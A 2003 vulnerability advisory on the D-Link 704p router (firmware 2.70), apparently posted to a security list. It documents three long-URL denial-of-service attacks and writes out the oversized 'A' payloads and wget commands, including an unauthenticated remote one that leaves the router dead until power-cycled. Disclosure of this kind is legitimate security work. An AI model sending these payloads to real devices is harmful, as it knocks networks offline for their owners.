02 August 2003

Hardware: D-Link 704p

Vulnerability: Multiple Local/Remote (see below)

Warning Level: Moderate

Description:

This small advisory is on the D-Link 704p router with firmware version

2.70. The router is a small 4 port DSL/CABLE router. Earlier this year I

made a small post on BUGTRAQ about the routers inability to handle local

long string URL's, those bugs and a -NEW REMOTE DoS- are included in this

advisory. I believe nessus even has a plugin for those small URL attacks.

I did notify D-Link and got no response :-/

Yes this type of vulnerability isnt a high risk factor, but its irritating

to see how easily this device can be manipulated. This advisory has to do

with its inability to handle long string URL attacks from an unauthorized

and authorized user in multiple instances. These attacks are most likely

successful on other D-Link routers as well, provided their firmware is

based off the same core code. All of these attacks are based off the same

trailing URL string (continous A's), just injected in a different method.

(URL's may not be formatted properly in this window)

Attacks:

#1.Un-Authorized Remote DoS

704p can be configured to be remotely administered on a given port by a

given IP address. Goto the tools tab and look down the bottom. If you

leave this IP field blank as 0.0.0.0 any host can administer the device. I

choose port 8080.

Thanks to my friend Scott we successfully DoS the router with one simple

URL. I had a constant ping to google setup 'ping -t google.com'. It

dropped the moment scott clicked the URL I had sent him in an IM and I

lost all internet connectivity.

http://68.x.x.x:8080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAA

The number of A's may vary from browser to browser, you can input more

from a program like wget in linux.

wget http://68.x.x.x/AAAA (and so on for as long as you like.)

The router is useless until physically reset by unplugging the power cord.

#2. Local PW Change DoS

Slightly changing the URL above from a local machine, The routers

administration page can be rendered unreachable until the machine is

physically rebooted.

wget

http://192.168.0.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAA

Then point your browser to 192.168.0.1 (or whatever your gateway IP

address is set to). You will be prompted to enter your password. You can

enter your correct password all you like, until the device is rebooted

physically by unplugging the power cord you will not be able to

authenticate.

#3. Local Configuration DoS / DNS Lookup

wget --http-user=admin --http-passwd=password

http://192.168.0.1/syslog.htm?

D=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAA

This was tested and in some instances the routers configuration page

becomes unreachable if sent to many times, and oddly enough the router

performs a DNS lookup on

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (at) xxxx.xx.comcast (dot) net [email concealed]

(amount of A's vary depending on the URL you used to send the device)

After inserting the above long URL into your router, point your browser to

your configuration page. Sometimes the page is still reachable and your

configuration page will look like a bunch of repeating frames and you have

to reset the device in order to fix it.

Comments:

My guess is the long string URL's cause the device to overflow at some

point. I am at best an intermediate programmer, with no access to the code

of the firmware, so don't ask me. All I know is my device is no longer

setup for remote administration. I sent a copy of this to D-Link on

Saturday August 02 2003 (no response). Thanks!

chris (at) cr-secure (dot) net [email concealed]

www.cr-secure.net

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